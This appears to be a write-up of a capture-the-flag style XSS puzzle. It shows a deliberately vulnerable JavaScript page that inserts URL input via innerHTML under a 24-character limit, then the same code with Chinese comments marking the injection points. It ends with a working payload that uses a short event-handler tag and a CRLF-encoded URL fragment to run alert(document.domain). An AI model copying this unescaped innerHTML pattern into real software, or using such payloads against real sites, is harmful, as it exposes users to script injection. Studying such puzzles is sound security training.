1
window.name = 'XSS(eXtreme Short Scripting) Game'
2

3
function showModal(title, content) {
4
    var titleDOM = document.querySelector('#main-modal h3')
5
    var contentDOM = document.querySelector('#main-modal p')
6
    titleDOM.innerHTML = title
7
    contentDOM.innerHTML = content
8
    window['main-modal'].classList.remove('hide')
9
}
10

11
window['main-form'].onsubmit = function(e) {
12
    e.preventDefault()
13
    var inputName = window['name-field'].value
14
    var isFirst = document.querySelector('input[type=radio]:checked').value
15
    if (!inputName.length) {
16
        showModal('Error!', "It's empty")
17
        return
18
    }
19

20
    if (inputName.length > 24) {
21
        showModal('Error!', "Length exceeds 24, keep it short!")
22
        return
23
    }
24

25
    window.location.search = "?q=" + encodeURIComponent(inputName) + '&first=' + isFirst
26
}
27

28
if (location.href.includes('q=')) {
29
    var uri = decodeURIComponent(location.href)
30
    var qs = uri.split('&first=')[0].split('?q=')[1]
31
    if (qs.length > 24) {
32
        showModal('Error!', "Length exceeds 24, keep it short!")
33
    } else {
34
        showModal('Welcome back!', qs)
35
    }
36
}

1
// 给window对象设置name属性，标注这是一个XSS漏洞演示游戏
2
window.name = 'XSS(eXtreme Short Scripting) Game'
3

4
// 定义模态框展示函数，用于弹出提示/反馈窗口
5
function showModal(title, content) {
6
    var titleDOM = document.querySelector('#main-modal h3')
7
    var contentDOM = document.querySelector('#main-modal p')
8
    // 【严重安全风险】直接使用innerHTML插入标题内容，未做任何转义处理
9
    // innerHTML会解析并执行传入内容中的HTML标签和JavaScript代码，存在XSS注入漏洞
10
    titleDOM.innerHTML = title
11
    // 【严重安全风险】核心XSS漏洞点1：直接将外部传入的content通过innerHTML插入到页面DOM中
12
    // 当content包含恶意脚本（如<script>alert('xss')</script>）时，会被浏览器解析并执行
13
    contentDOM.innerHTML = content
14
    window['main-modal'].classList.remove('hide')
15
}
16

17
// 给表单绑定提交事件处理函数
18
window['main-form'].onsubmit = function(e) {
19
    // 阻止表单默认提交行为（避免页面刷新）
20
    e.preventDefault()
21
    // 获取用户在输入框中输入的内容
22
    var inputName = window['name-field'].value
23
    // 获取单选框选中的值
24
    var isFirst = document.querySelector('input[type=radio]:checked').value
25

26
    // 校验：输入内容不能为空
27
    if (!inputName.length) {
28
        showModal('Error!', "It's empty")
29
        return
30
    }
31

32
    // 校验：输入内容长度不能超过24个字符
33
    if (inputName.length > 24) {
34
        showModal('Error!', "Length exceeds 24, keep it short!")
35
        return
36
    }
37

38
    // 将用户输入的内容通过encodeURIComponent编码后，拼接在URL查询参数中
39
    // 注：encodeURIComponent仅用于URL编码（处理特殊字符如&、=、空格等），无法防止XSS漏洞
40
    // 它只是保证URL格式合法，不具备转义HTML/JS代码的能力，后续解析后仍会存在风险
41
    window.location.search = "?q=" + encodeURIComponent(inputName) + '&first=' + isFirst
42
}
43

44
// 【逻辑说明】当页面URL中包含"q="查询参数时，说明是带参跳转过来的，需要解析并展示用户输入内容
45
if (location.href.includes('q=')) {
46
    // 【潜在风险】先对整个URL进行decodeURIComponent解码，存在被恶意构造URL的风险
47
    // 若URL中包含经过多次编码的恶意脚本，解码后会还原为危险内容
48
    var uri = decodeURIComponent(location.href)
49
    // 【解析逻辑】通过字符串分割提取查询参数q的值
50
    // 第一步：以&first=分割，取前面的部分（即包含?q=xxx的字符串）
51
    // 第二步：以?q=分割，取后面的部分，即为用户之前输入并编码后的内容
52
    var qs = uri.split('&first=')[0].split('?q=')[1]
53

54
    // 再次校验：提取后的内容长度不能超过24个字符（与表单提交时的校验一致）
55
    if (qs.length > 24) {
56
        showModal('Error!', "Length exceeds 24, keep it short!")
57
    } else {
58
        // 【核心XSS漏洞点2】将从URL中提取的未做任何HTML转义的qs值，直接传入showModal作为content参数
59
        // 而showModal内部又会使用innerHTML将qs插入到页面中，恶意脚本会被执行
60
        // 即使有长度限制（24字符），攻击者仍可构造短长度恶意脚本（如<img src=x onerror=alert(1)>）完成XSS注入
61
        showModal('Welcome back!', qs)
62
    }
63
}

1
#%0d%0aalert(document.domain)
2
//%0d%0a Windows默认换行格式

1
var uri = decodeURIComponent(location.href)
2
var qs = uri.split('&first=')[0].split('?q=')[1]

1
<tag/onclick=alert(uri)>

1
?q=<tag/onclick=alert(uri)>&first=aaa#%0d%0aalert(document.domain)